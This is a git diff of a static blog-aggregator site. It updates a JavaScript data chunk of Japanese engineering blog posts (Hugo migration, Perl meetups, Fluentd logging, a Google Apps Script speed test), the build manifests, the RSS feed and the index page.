を取り上げてみてもいいのでは？ということで今回チャンスをいただきました。このテーマ、みんな興味もってくれる？会社の名前を背負った勉強会は集まる層がちょっと違う？せっかく足を運んでいただいたのにガッカリさせないか？など、企画時にお題は決めたものの内容で苦悩してました。そもそも勉強会って興味あるテーマ以外の話もけっこうある知らないジャンルだからこそためになる、知見が広がるセッション自体が面白いと満足度はあがると、お邪魔させていただいた勉強会を思い出してたら吹っ切れたので、要所にネタのエッセンスを入れつつ、楽しくトークさせていただきました。資料自体のサンプルが少ないというのもあるので、せめてデモをやって GoogleAppsScript の動作などを見ていただけたらよかったのですが、1 人でトークが弾んじゃってデモをする時間がなかったというのが心残りでした。あとはハッシュタグの Tweet でこの人何人殺してんだろw #techkayac— Daisuke Murase (@typester) February 25, 2015管理部門に優しくしないと殺られる、という知見が得られた #techkayac— Daisuke Murase (@typester) February 25, 2015と、誤解を招く内容がありましたが、私は至って温和です。安心してください、大丈夫ですので。最後に個人的な感想を述べさせていただくとやっぱり人前で話すのは刺激受けるし刺激を与えられるからいい社内外問わずわいわいやるの楽しい今後もわいわいしていきたいし、わいわいしてる人を増やしたいといったところでしょうか。せっかくやるからには楽しんでもらいたいし、気持ちよく終わりたい、というのは心がけたつもりなので次回以降もご参加いただける皆様に少しでもおもてなしできればと思います。以下当日の資料となります。セッションの内容はこれが全てではないですが、なんとなく雰囲気を感じていただければと思います。","link":"https://blog.jigyakkuma.org/2015/02/27/tabisuru00/","isoDate":"2015-02-27T14:18:50.000Z","dateMiliSeconds":1425046730000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"blog を octopress から Hugo に乗り換えたメモ","contentSnippet":"今まで blog は octopress で書いてたのですが、先日ひさしぶりに「おっしゃ！書くか！」ってなって octopress コマンド叩いたらエラー出てて「めんどくせええぇぇぇぇーーーー!!!1」ってなってたらdeeeetさんのOctopuses から Hugo へ移行したをナイスなタイミングで読んだので便乗して Hugo に乗り換えてみました。使い方はHugoのDocsに丁寧にかかれているのでオススメです。やったこととしては・ Theme の選定とカスタマイズTheme の選定hugoThemesに Theme が用意されている。Theme を作れるほどのスキルはなかったのでこの中からチョイスしてカスタマイズすることにしました。日に日に Theme が増えているようなのでこまめにチェックするといいかもしれないです。また、Theme の preview サイトが coming soon となっているので待ち遠しいですね。Theme のカスタマイズとりあえず Theme をいろいろ見てみてlanyonがよさげだったのでとりあえずこれをベースにカスタマイズしました。といっても sidebar の項目をメンテしたりsharebuttonを突っ込んだりしたくらいです。config.toml の作成Hugo はtomlが使えるということだったので config ファイルは toml にしてみました。参考までに使用している現在の config.toml は以下となります。contentdir = \\"content\\"layoutdir = \\"layouts\\"publishdir = \\"public\\"baseurl = \\"https://blog.jigyakkuma.org\\"[indexes] category = \\"categories\\" tag = \\"tags\\"[params] Title = \\"俺よりイケてないエンジニアはいない\\" description = \\"jigyakkuma\'s blog\\" DateForm = \\"Jan 02 , 2006\\" languageCode = \\"ja\\" countryCode = \\"ja\\"[permalinks] post = \\"/:year/:month/:day/:filename/\\"[params.Twitter] Account = \\"@jigyakkuma_\\" Url = \\"https://twitter.com/jigyakkuma_\\"[params.Github] Url = \\"https://github.com/jigyakkuma\\" UserName = \\"jigyakkuma\\"こんな感じでパラメータを定義しておいて{{ .Site.Params.Twitter.Account }}で layout 用の html に突っ込んどくと使えます。感想最初は便乗して乗り換えてみるか！くらいの感じでしたが、Hugo が Go で実装されているというところもあって Go の環境があれば go get してすぐに使い始められるのは個人的には楽でした。ディレクトリ構成もシンプルなのでわかりやすくて good。$ tree -L 1.├── archetypes├── config.toml├── content├── layouts├── public└── staticpublic 内のファイルをサーバに置けば(この blog は github pages)公開されますが、どこにどういう風に deploy するかでやり方が様々なので導入の際は事前に考えておいたほうがよさそうです。まだまだ発展途上で、どう進化していくのか楽しみなのでもう少し使い込んでみたいと思います。","link":"https://blog.jigyakkuma.org/2015/02/11/hugo/","isoDate":"2015-02-11T01:42:57.000Z","dateMiliSeconds":1423618977000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"#chibapm Chiba.pm #6 に参加してきた","contentSnippet":"行ってきました。Chiba.pm #6 : ATNDChiba.pm #6 : ATNDCPAN Authorになったのでその辺の話をLTしてきました。前にエントリを書いた話です。Minilla便利でした。Chiba.pmなのにPerlの話をしてすみませんでした。。。。久しぶりのChiba.pm楽しかったです。マグロ美味しかったです。次回も楽しみです。過去のchiba.pm#chibapm Chiba.pm #5 でログ回りのことを聞きたかった - 目の前には僕らの道があるchiba.pm 2回目に行ってきた #chibapm - 目の前には僕らの道がある#chibapm #1に行ってきた。 - 目の前には僕らの道がある","link":"https://blog.masasuzu.net/entry/2015/01/28/chiba.pm_6","isoDate":"2015-01-28T09:15:39.000Z","dateMiliSeconds":1422436539000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014年に使った技術","contentSnippet":"ざっくりと去年使った技術をざっくりふりかえってみる。ホントにざっくりです。PSGI/Plack今働いている会社のwebサービスのバックエンドはperlで動いています。そしてそれらのアプリケーションはmod_perl上で動くようになっていました。*1があってそろそろmod_perl卒業したいよねと検証自体は重ねていたんですが、年初くらいに都合よくほかのサービスに影響を与えることのない小規模な新規プロジェクト*2を作ることになりました。もの自体は1週間くらいでくみ上げました。ここで組んだベースアーキテクチャが以降のPSGI/Plackのプロジェクトのベースになっています。Perl::Build / xbuildtagomoris/xbuild \xb7 GitHubPerl::Build - perl builder - metacpan.orgperlに依存するとディストリビューションやOSを変える度にperlのバージョンが変わっていろいろ面倒なので、PSGI/Plack化したプロジェクトではperlを独自にビルドするようにしてます。perl-buildでビルドしたperlをdebian package化して使っています。各サーバでperlをビルドするのは時間の無駄遣いなのでdebで配布します。CartonCarton - Perl module dependency manager (aka Bundler for Perl) - metacpan.orgsystem perlを使っていたときは、perl moduleもdebian packageで入れていたんですが、独自ビルドするようになったので、モジュール管理にcartonを使ってます。OrePAN2::ServerOrePAN2::Server - DarkPAN Server - metacpan.org基本社内モジュールは作らない/作らせない/CPANに上げやがれという方針ですが、どうしても外には出せない社内ロジックがあるのでそういうものを置く場所として使っています。UpstartUbuntuで動いているサービスのデーモン管理はupstartに基本任せています。設定ファイル書くの簡単で、癖がそんなにないので重宝しているんですが、なんか次のUbuntuからsystemdに移行するみたいな話があってだいぶ辛い予感がしてます。FluentdFluentdを全サーバに導入しました。今まで各サーバに入ってgrep/wc/sed/tailを駆使してログ解析していたアプリケーションログ(イベントログ)、アクセスログ、エラーログを1つの場所に集約できるようになってだいぶ捗ってます。アクセスログに関しては最終的にvhost毎と vhostとstatus code(4xx,5xxxのみ)毎にファイルを分けて出力するようにしてるので、アクセスログ解析が今までよりだいぶ捗るようになりました。だいぶライフチェンジングです。Elasticsearch / KibanaFluentd入れた時点でだいぶログ回りは快適になったんですが、それでも最終的なログのストア先はファイル*3なのでアプリから扱うには少し不便とか諸事情あったので、いろいろ検証した上でElasticsearchを入れました。GitBuckettakezoe/gitbucket \xb7 GitHubgitレポジトリへのアクセスは基本sshを使っていたんですが、開発者以外の企画者やデザイナもgitを使うようになってきて、いろいろアカウント管理の問題が出てきて素のままgit使うのはちょっと管理上つらいというのがきっかけでその辺解消するために導入したのがgithub cloneのGitBucketでした。レポジトリブラウザとしてよいのですが、歴史が深いレポジトリとかだとだいぶ重かったりするのが少し難点です。Slack試験導入中です。正直別にIRCでもよくね?感がまだあります。デフォルトでwebから見れるという点は便利なような気がしなくもないです。なんかほかにもやったような気がしますが、去年はざっくりこんなことしていたらしいです。*1:system perlにはもう依存したくないよねとかいろいろ。察してください*2:ちなみにStartDash(START:DASH!!)というプロジェクトコードを付けていた。察してください*3:一定ファイル容量でローテートされる。そしてgzip圧縮してるのとしてないの(バッファ)が混じってる","link":"https://blog.masasuzu.net/entry/2015/01/04/142926","isoDate":"2015-01-04T05:29:26.000Z","dateMiliSeconds":1420349366000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014年の自分が書いた技術エントリふりかえり","contentSnippet":"書いたエントリのリンクを貼り付けるだけの雑なふりかえりです。一応自分の技術ブログが2つあって、ここが勉強会のエントリや、わりかしまとまった技術に関して書くところ。もうひとつ(ふり返る暇なんて無いね)の方がゆるふわにメモやポエムを書いていく方。1月PERL_CARTON_MIRRORをOrePAN2::Serverに向けてcarton installすると怒られる - ふり返る暇なんて無いね2月この時期なにやっていたっけ?全く記憶に無い3月hostnameコマンドメモ - ふり返る暇なんて無いねfluent-plugin-forestを使いつつ、tag_partsが複数あるときにpathにtag_partsを含めたときに、same buffer_pathを使っていると怒られる。 - ふり返る暇なんて無いねエンジニアでもターミナル作業ログを残したい!! - 目の前には僕らの道がある4月プロセスが開いているファイルディスクリプタ数を知りたい - ふり返る暇なんて無いねプロセスがオープン可能なファイルディスクリプタを知りたい - ふり返る暇なんて無いねUbuntu12.04のapproxはinetd経由で立ち上がる件 - ふり返る暇なんて無いねLINE Developer Conference(テーマ：インフラ)にいってきたメモ - 目の前には僕らの道がある5月carton installするたびにcpanfile.snapshotが更新されるのがうざったい - ふり返る暇なんて無いね6月キャッシュ(しない)戦略 - ふり返る暇なんて無いね溜まるジョブキュー - ふり返る暇なんて無いねinnodb_log_file_sizeを気軽に変えると死ぬよ - ふり返る暇なんて無いね監視の閾値の考え方1 - ふり返る暇なんて無いねこのあたりはポエムを書きたいお年頃だったようだ。#五反田Perl でもくもくしてきた。perlのコードはほとんど書いてない。 - 目の前には僕らの道がある#gotandapm Gotanda.pm Perl Technology Conference #1に参加した LTした - 目の前には僕らの道がある五反田が熱くなり始めたのもこの頃。7月コマンドの出力結果の一時ファイルを作りたくなったら、プロセス置換を思い出すと良いかも知れない - ふり返る暇なんて無いね8月#でぶつー 五反田もくもく会 #1 に行ってきた - 目の前には僕らの道があるマニュアルオペレーションするとき気を付けたいこといくつか - ふり返る暇なんて無いね-で始まるファイルを消す方法 - ふり返る暇なんて無いねUbuntu 12.04でGitBucketを使うメモ - ふり返る暇なんて無いね#yapcasia YAPC::Asia前夜祭でインスピレーションを得てきた - ふり返る暇なんて無いね8月末はYAPC Asiaでした。今年もスタッフやってました。9月#yapcasia YAPC::Asia 2014でボランティアスタッフやってきました - 目の前には僕らの道がある#gotandago Gotanda.go #1 行ってきた - 目の前には僕らの道があるエイリアスを使わないでコマンド実行するいくつかの方法 - 目の前には僕らの道がある#gotandapm Gotanda.pm Perl Technology Conference #2 に行ってきた - 目の前には僕らの道があるgolangに興味を持ち始めたのはこの頃、来年こそはちゃんと使えるようにしたい。10月boot2dockerでexposeされるportはlocalhostのportじゃないよ - ふり返る暇なんて無いね#chibapm Chiba.pm #5 でログ回りのことを聞きたかった - 目の前には僕らの道があるこの時期、Elasticsearchまわりでいろいろはまってたはずなのに一切アウトプットが無いな。。。。11月不思議な時間にlogrotateしているその理由は。 - ふり返る暇なんて無いねconnectがhomebrewで入らなくなったので自前でビルドする - ふり返る暇なんて無いね#perlcasual PerlCasual #06 行ってきた(だいぶ昔の話 - 目の前には僕らの道がある#kichijojipm 吉祥寺.pm #1 に行ってきました (だいぶ昔の話 - 目の前には僕らの道がある12月WebService::Slack::IncomingWebHookというモジュールを書いてCPAN Authorとやらになったようです - 目の前には僕らの道があるねんがんのCPAN Authorになったぞ!こう見てみると、今年もアウトプット量が足りないなという印象。実際業務でいろいろはまっていたはずなのに、そのことがまったく書かれてないので、もう少しメモ書きレベルでもいいので残していきたい。というのが来年の課題。ソースコードでのアウトプットももっとがんばらないと。良いお年をー。","link":"https://blog.masasuzu.net/entry/2014/12/29/2014_retrospective","isoDate":"2014-12-29T07:27:23.000Z","dateMiliSeconds":1419838043000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"WebService::Slack::IncomingWebHookというモジュールを書いてCPAN Authorとやらになったようです","contentSnippet":"WebService-Slack-IncomingWebHook-0.01 - slack incoming webhook client - metacpan.orgWebService-Slack-IncomingWebHook-0.01 - slack incoming webhook client - metacpan.orgはい。Web Hookを使ってSlackに投稿をポストしてくれる君です。post-slackというコマンドを同梱していてコマンドラインからも使えるようになってます。当初Net::Slackという名前を使っていたんですが、どうやらNetという名前空間はネットワークプロトコルを喋るモジュールが使うところで、webサービスのAPIを叩くようなものはWWWかWebServiceを使うらしいので、避けました。また、Slack APIが別にあるので、Slack単体名だとSlack API叩くように誤解されるのでさらに一段名前空間を斬ってます。スクレイピングしてる系という印象[要出典]があったので。WWWは避けた。参考: PAUSE: pause_namingmodules Netの項目そんな感じで CPAN おーさーとやらになったようです。CPANにあったので自分でモジュールを書く機会がなかなかなかったのですが、都合よく必要となってかつ誰も書いてなさそうという機会に今回恵まれました。Acmeモジュールはいくつか書いていたけど、それでCPAN Authorになるのはちょっと厭だと思って居た。初uploadなので粗があったらツッコミがあると幸いです。","link":"https://blog.masasuzu.net/entry/2014/12/26/183818","isoDate":"2014-12-26T09:38:18.000Z","dateMiliSeconds":1419586698000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#kichijojipm 吉祥寺.pm #1 に行ってきました (だいぶ昔の話","contentSnippet":"吉祥寺.pm (kichijojipm) #1 : ATND吉祥寺とは縁もゆかりもないのですが、pmが近めの場所でやっているということで、お邪魔してきました。懇親会は結局2次会、3次会まで行ってオールになってしましました。perlの事情をいろいろ聞けて楽しかったです。吉祥寺良いところでしたので、次回あれば参加したいです。","link":"https://blog.masasuzu.net/entry/2014/11/15/001845","isoDate":"2014-11-14T15:18:45.000Z","dateMiliSeconds":1415978325000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#perlcasual PerlCasual #06 行ってきた(だいぶ昔の話","contentSnippet":"perlcasual #06行ってきました。PerlCasual #06 : ATNDだいぶ昔の話です。hogecasualと名のつく勉強会はだいたいカジュアルじゃ無いんですが(感覚値)、今回はだいぶカジュアルな感じだったと思います。perlのコマンドラインtipsがとてもよかったです。基礎的な部分でも意外にに知らない部分が多くて勉強なりました。懇親会ではperlの会話をあまりしてなかった気がしました。カジュアルですね。さて、カジュアル。perlをばりばりやっている人にとってカジュアルなのか。perl初心者にとってカジュアルなのか。他言語の人に対してカジュアルなのか。いろいろあると思います。その辺のターゲットは主催者のさじ加減だと思います。ところで、pelrcasualはperlをカジュアルに楽しむ初心者向け となってます。ただ、内容としてはカジュアルだとは思いますが、本当の初心者にはついてこれるのかなという感じはしました。本当に本当の初心者はperl入学式が引受先なのかなという感じがします。なんとなくカジュアルの意味するところは(初)中級者くらいのレベル感なのかなと。そう考えると(Perl Beginnersは参加したことが無いので本当のレベル感が分からないのですが)、Perl初学者が以下のようにステップアップしていけるとperlの裾野が広がっていっていいのかなーとか思いました。主催者はそんな意図では無いかもですが。Perl入学式 => (Perl Beginners) => PerlCasualって、なんか本題と関係ない方向に行ってしまった。","link":"https://blog.masasuzu.net/entry/2014/11/14/000000","isoDate":"2014-11-13T15:00:00.000Z","dateMiliSeconds":1415890800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#chibapm Chiba.pm #5 でログ回りのことを聞きたかった","contentSnippet":"だいぶ昔の話ですが、chiba.pm #5でこんなLTしてきました。Chiba.pm #5 : ATND今の会社ではこんな感じでログ収集していて、こんなログ監視してるけど、他のところではどんなことしてるの?的な発表でした。現状は各webサーバのアクセスログをfluentdで収集して、ログサーバでファイルに吐かれたログを解析して、vhost,path,status(401,404,500)毎に閾値が以上のアクセスが来ているモノに関してアラートを上げるようにしてます。スクリプトでログ解析していたものが、Aggregationsでだいぶ楽に出来そうな目処が出来てる感じです。この辺別の機会にエントリ書きたいです。ともあれ、このくらいの規模の勉強会が個人的には楽しいです。次回も参加したいです。","link":"https://blog.masasuzu.net/entry/2014/10/27/chiba.pm_5","isoDate":"2014-10-27T10:49:56.000Z","dateMiliSeconds":1414406996000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"YAPC::Asia 2014 1 日目の感想","contentSnippet":"謝辞まず初めに YAPC::Asia 2014 に参加させていただきましてありがとうございました。また、このイベントに関わった運営スタッフ個人・企業スポンサースピーカー会場をお貸しいただきました慶応義塾大学 日吉キャンパスの皆様に厚く御礼申し上げます。初めて YAPC に参加して思ったこと近年は言語の壁を超えてたくさんのエンジニアが集まる YAPC、その噂以上に熱気と勢いに翻弄されっぱなしでした。あとはインターネットではよくお見かけするエンジニアの方も実物がわからずにお名前を伺って初めて「あぁ、あの方か！！」となることがあって失礼な場面も少なからずあったなという反省はありました。よかったところたくさんの運営スタッフの方のおかげで存分に YAPC を楽しめたところ。あとはスポンサー様による無限コーヒーや懇親会、HUB のビール 1,000 杯提供など、人が集まる仕掛けがたくさんあったこと。人の温かみを感じるイベントは意外と少ないと私は思っているので、感謝の限りでしたし、エンジニアから愛されている意味がとてもよく伝わってきました。気になったところセッションによっては人が集中してしまって多目的教室のキャパシティを超えてしまっていたので落ち着いて聞くことができなかったのは少し残念でした。セッションについてお世辞抜きにどのセッションも見応えがあって大満足でした。普段聞くことのないエンジニアの想いや考え方、実例から伺える努力や苦悩の裏側など、人とエンジニアリングの関わりみたいなところに特に面白さを感じました。スピリチュアルな話とかけっこう好きなので、そっちよりのセッションを割と聞いてました。YAPC を通じて感じたこと人とのつながりは自身を成長させてくれる人が成長する上で、たくさんのことを知る、というのはとても重要なものだと思います。中でもその人が経験してきた体験談というのは情報として価値のあるものであるし、そんな体験談を聞くことができる機会というのは自分も周りも一緒に成長していくことができる貴重な時間であるということ。せっかくの貴重な機会を無駄にしない普段知り合う機会のないインターネット上の有名な方々にお会いするまたとないチャンス。それにたくさんの人と話す機会自体もそんなにないので積極的に絡むべきだし、そういった意味で懇親会は非常によかったです。モチベーションがあがるやはり周りからの刺激は自身の気持ちを高ぶらせてくれます。人によって差はあると思いますが、モチベーションを１人で維持・向上させるというのは難しいので、YAPC のような規模の大きいお祭りに参加するというのはエンジニアとして必要なことであると捉えてます。最後に今回は一般チケットでの参加でしたが、4,000 円でありあまるほどの価値があったと思っています。次回は是非とも個人スポンサーとして参加させていただければと思います。こうやってエンジニアが集まるお祭りもそうはないので、いちエンジニアとして YAPC を大切にしていければと思います。あとは諸事情により 2 日目に参加できなかったので来年こそは全日程に参加したいですね！！","link":"https://blog.jigyakkuma.org/2014/08/31/yapc-asia2014/","isoDate":"2014-08-31T00:00:00.000Z","dateMiliSeconds":1409443200000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"GooglePlay Developer のアカウント移行時にハマったのでメモ","contentSnippet":"先日、iOS と Android のアプリを別のアカウントに移行する作業をしてました。Android はどうかというと、アプリ移行申請ページなるものから申請を行い、GooglePlay Developer Support の方々がせっせと設定を変更してくれるみたいです。今回申請するにあたり、うまくいかず時間を要してしまったのでメモ程度に残しておきたいと思います。Android アプリ移行の簡単な流れAndroid アプリの申請ページに辿り着くGooglePlay developer アカウントの準備 プライベートチャンネルのアプリ収益化されたアプリApplication Transfer RequestDeveloper Account Registration の意味を盛大に履き違えるここでズッポリはまってしまった。Application Transfer Request で「Developer Account Registration」と書いてあり、私は GooglePlay developer や GoogleWallet からそれらしいコードを探したが見つからない。Click the Developer Registration order (This may be titled “ Google - Google Play ”) が、GooglePlay developer 開設時に支払った登録料であることに気づく。というかちゃんと読んで理解してればすぐに気づくはず。いつもの文章をしっかり読まない性格が招いたトラブルだったなーと反省しました…が、まさか GooglePlay developer 開設時の登録料の登録 ID とは思いもよりませんでしたね…","link":"https://blog.jigyakkuma.org/2013/11/02/gpd-account/","isoDate":"2013-11-02T00:00:00.000Z","dateMiliSeconds":1383350400000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"GAS の処理速度が遅いと評判なので計測してみた","contentSnippet":"先日、GAS でいつものようにコードを組んでいたのですが、どうも処理が追いつかずサーバ側のタイムアウトが発生する事案に遭遇。以下の記事にもあるように、GAS は API をコールしまくると途端に処理速度が低下するのはよくある話で、今回のコードも何の考えもなしにループの終了条件で getLastRow()を設定していた。[GAS][スプレッドシート]処理速> 度を向上するには: 逆引き Google Apps Scriptいつもならバグ見つかってよかったー、で終わってしまうのですがちょっと気になることがあったので検証してみました。【検証】 GAS の処理が遅いって言われてるけど、実際どうなの？ということで今回はよくやりそうな処理のサンプルを作ってみたので実測値を見てみる。[検証 1]for 文に getLastRow()を突っ込んだ場合の処理遅延以下のコードを実行してみる。\\tfunction speedCheck1() {\\t var ss = SpreadsheetApp.openById(SS_KEY).getActiveSheet(); \\t var counter = ss.getLastRow(); \\t Logger.log(\'speed check start:getLastRow()\'); \\t for(var i = 0;i < ss.getLastRow();i++){} \\t Logger.log(\'speed check end:getLastRow()->count:\'+i);\\t Logger.log(\'speed check start:counter\'); \\t for(var i = 0;i < counter;i++){}\\t Logger.log(\'speed check end:counter->count:\'+i);\\t}\\t結果は以下。\\t[13-10-24 00:31:46:496 JST] speed check start:getLastRow()\\t[13-10-24 00:31:54:044 JST] speed check end:getLastRow()->count:100\\t[13-10-24 00:31:54:045 JST] speed check start:counter\\t[13-10-24 00:31:54:045 JST] speed check end:counter->count:100[検証 2]ループ内でスプレッドシートの値を getValue()しちゃった場合の処理遅延次はこちらのコード。\\tfunction speedCheck2() {\\t var ss = SpreadsheetApp.openById(SS_KEY).getActiveSheet();\\t var array = ss.getDataRange().getValues();\\t var counter = ss.getLastRow();\\t var result = new Array(); \\t Logger.log(\'speed check start:getValue()\');\\t for(var i = 0;i < counter;i++){ \\t result[i] = ss.getRange(i+1,1).getValue();\\t } \\t Logger.log(\'speed check end:getValue()->count:\'+i); \\t Logger.log(\'speed check start:assignment\'); \\t for(var i = 0;i < counter;i++){\\t result[i] = array[i][0]; \\t } \\t Logger.log(\'speed check end:assignment->count:\'+i);\\t}結果結果はご覧の通り。\\t[13-10-24 00:36:15:285 JST] speed check start:getLastRow()\\t[13-10-24 00:36:22:977 JST] speed check end:getLastRow()->count:100\\t[13-10-24 00:36:22:977 JST] speed check start:counter\\t[13-10-24 00:36:22:978 JST] speed check end:counter->count:100整理すると[検証 1] 7452ms [検証 2] 7692ms という結果でした。メソッドによって 1call 当たりの処理速度は当然ながら変わってくると思いますので参考程度に見てもらえればと思います。しかしながら 100 回 call しただけで 7 秒以上の差が出ているのは驚きなので、複雑な処理になっている時ほど処理を改善すると効果絶大です。処理速度にお悩みでしたらコード内にこういった処理が潜んでいるかもしれません。","link":"https://blog.jigyakkuma.org/2013/10/22/gas-speed/","isoDate":"2013-10-22T00:00:00.000Z","dateMiliSeconds":1382400000000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"Links","contentSnippet":"","link":"https://blog.jigyakkuma.org/links/","isoDate":"2001-01-01T00:00:00.000Z","dateMiliSeconds":978307200000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"Search","contentSnippet":"","link":"https://blog.jigyakkuma.org/search/","isoDate":"2001-01-01T00:00:00.000Z","dateMiliSeconds":978307200000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"}]')}}]); \ No newline at end of file diff --git a/_next/static/37Ee5QGIxpaE3zT4z6-6S/_buildManifest.js b/_next/static/fvQ8SlcztKJy5Be3iJK0-/_buildManifest.js similarity index 78% rename from _next/static/37Ee5QGIxpaE3zT4z6-6S/_buildManifest.js rename to _next/static/fvQ8SlcztKJy5Be3iJK0-/_buildManifest.js index c57c0d01f5..57a840e637 100644 --- a/_next/static/37Ee5QGIxpaE3zT4z6-6S/_buildManifest.js +++ b/_next/static/fvQ8SlcztKJy5Be3iJK0-/_buildManifest.js @@ -1 +1 @@ -self.__BUILD_MANIFEST=function(e){return{__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":[e,"static/chunks/pages/index-8fd0df3a9d2d48ad.js"],"/404":["static/chunks/pages/404-5e722f54ff28faef.js"],"/_error":["static/chunks/pages/_error-e4f561a102d9bb14.js"],"/members":[e,"static/chunks/pages/members-de376a91a8f58e61.js"],"/members/[id]":[e,"static/chunks/pages/members/[id]-fa4563d96c58aa0a.js"],sortedPages:["/","/404","/_app","/_error","/members","/members/[id]"]}}("static/chunks/983-df9ab401b0924804.js"),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB(); \ No newline at end of file +self.__BUILD_MANIFEST=function(e){return{__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":[e,"static/chunks/pages/index-8fd0df3a9d2d48ad.js"],"/404":["static/chunks/pages/404-5e722f54ff28faef.js"],"/_error":["static/chunks/pages/_error-e4f561a102d9bb14.js"],"/members":[e,"static/chunks/pages/members-de376a91a8f58e61.js"],"/members/[id]":[e,"static/chunks/pages/members/[id]-fa4563d96c58aa0a.js"],sortedPages:["/","/404","/_app","/_error","/members","/members/[id]"]}}("static/chunks/983-ae0c83488709e448.js"),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB(); \ No newline at end of file diff --git a/_next/static/37Ee5QGIxpaE3zT4z6-6S/_ssgManifest.js b/_next/static/fvQ8SlcztKJy5Be3iJK0-/_ssgManifest.js similarity index 100% rename from _next/static/37Ee5QGIxpaE3zT4z6-6S/_ssgManifest.js rename to _next/static/fvQ8SlcztKJy5Be3iJK0-/_ssgManifest.js diff --git a/feed.xml b/feed.xml index d8d020a53d..cdfa15e749 100644 --- a/feed.xml +++ b/feed.xml @@ -4,7 +4,7 @@ 3-shake Engineers' Blogs https://blog.3-shake.com 3-shake に所属するエンジニアのブログ記事をまとめています。 - Thu, 02 Nov 2023 06:02:32 GMT + Thu, 02 Nov 2023 18:31:37 GMT https://validator.w3.org/feed/docs/rss2.html https://github.com/jpmonette/feed ja @@ -14,6 +14,13 @@ https://blog.3-shake.com 3-shake Inc. + + <![CDATA[Amazon ECSイベントをCloudWatch Logsへ収集する]]> + https://zenn.dev/yuu0w0yuu/articles/df3a9fdef609e2 + https://zenn.dev/yuu0w0yuu/articles/df3a9fdef609e2 + Thu, 02 Nov 2023 08:33:22 GMT + + <![CDATA[Time-Slicing GPUs を Kubernetes で利用する]]> https://sreake.com/blog/kubernetes-time-slicing-gpu/ @@ -231,12 +238,5 @@ Wed, 16 Aug 2023 13:49:19 GMT Key Concepts > YB-Master serviceを読みました。今回はArchitecture > Core functions > Universe creationを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Universe creationYugabyteDBのユニバース作成は複数のステップを含む。Start YB-MastersYBユニバース作成の最初のステップはレプリケーションファクターで指定された数だけYB-Masterを作成することである。作成されたYB-Masterはそれぞれを認識している。YB-Masterはユニバース内でユニークなID(UUID)をそれぞれに割り当て、それぞれを認識しあったあとにリーダーエレクションを実行する。このステップの終りにYB-Masterの中のひとつがリーダーとして確立される。Start YB-TServersノードの数だけYB-TServerを起動し、それぞれにマスターのアドレスを渡す。それぞれのYB-TServerはマスターにハートビートを送信し、正常に動作していることを確認する。ハートビートはYB-TServerが現在ホストしているタブレットとその負荷情報についても通信するが、この時点ではタブレットにデータは登録されていない。Examples4ノードからなるYBユニバースにテーブルを作成する場合について考える。テーブルのレプリケーションファクターは3とする。3つのマスターがcreateモードで起動される。これはマスターがすでに起動しているために発生するエラーを防ぐために明示的に実行される。リーダーエレクションを実行し、リーダーを選出する。YB-TServerが起動し、全てのYB-TServerがマスターにハートビートを送信する。]]> - - <![CDATA[PaLM API for textで作るGoogle Cloudコストチェッカー]]> - https://sreake.com/blog/google-cloud-cost-check-with-palm-api-for-text/ - https://sreake.com/blog/google-cloud-cost-check-with-palm-api-for-text/ - Wed, 16 Aug 2023 05:06:08 GMT - - \ No newline at end of file diff --git a/index.html b/index.html index 815684777b..1ea93924e1 100644 --- a/index.html +++ b/index.html @@ -1 +1 @@ -3-shake Engineers' Blogs
3-shake Engineers' Blogs3-shake
Engineers' Blogs
RSSRecruitCompany

3-shake Engineers' Blogs

3-shake に所属するエンジニアのブログ記事をまとめています。

Members

See Details →
SatohJohnSatohJohnSoftware DeveloperSreakeSreakeTakaaki AbeTakaaki AbeSRE (Team Leader)Atsuya TsukadaAtsuya TsukadaSREbayobayo0324bayobayo0324back/front/app Engineerbells17bells17Software EngineerDaichi MurotaDaichi MurotaSREGenki HashimotoGenki HashimotoSREShuichi InoueShuichi Inouelong-term internship studentHiroki HasegawaHiroki HasegawaSRERyosuke SakuraiRyosuke SakuraiSREShinji YamadaShinji YamadaCorporate EngineerKai SatoKai SatoSREKyohei SaitoKyohei SaitoSREkyohmizukyohmizuSRESUZUKI, MasashiSUZUKI, MasashiSREYu KanekoYu KanekoSREmyamamotomyamamotoSRENAKADATE NaokiNAKADATE NaokiDBRESatoru KikutaSatoru KikutaSREnwiizonwiizoSoftware DeveloperHiroki SakurabaHiroki SakurabaSoftware DevelopersakamasakamaSREsatokensatokenSREsenosenoDBREskikkhskikkhSRESoichiro TsuchidaSoichiro TsuchidaSRESoichiro TayaSoichiro TayaSRETakuya TezukaTakuya TezukaJBTsubasa NagasawaTsubasa NagasawaSREtoshikishtoshikishSREtozastationtozastationSREnobunobuSREAnnosuke YokooAnnosuke YokooSREYusuke SakuraiYusuke SakuraiSREyteraokayteraokaSREYutaro ShirayamaYutaro ShirayamaSRE

Articles

© 3-shake Inc.

\ No newline at end of file +3-shake Engineers' Blogs
3-shake Engineers' Blogs3-shake
Engineers' Blogs
RSSRecruitCompany

3-shake Engineers' Blogs

3-shake に所属するエンジニアのブログ記事をまとめています。

Members

See Details →
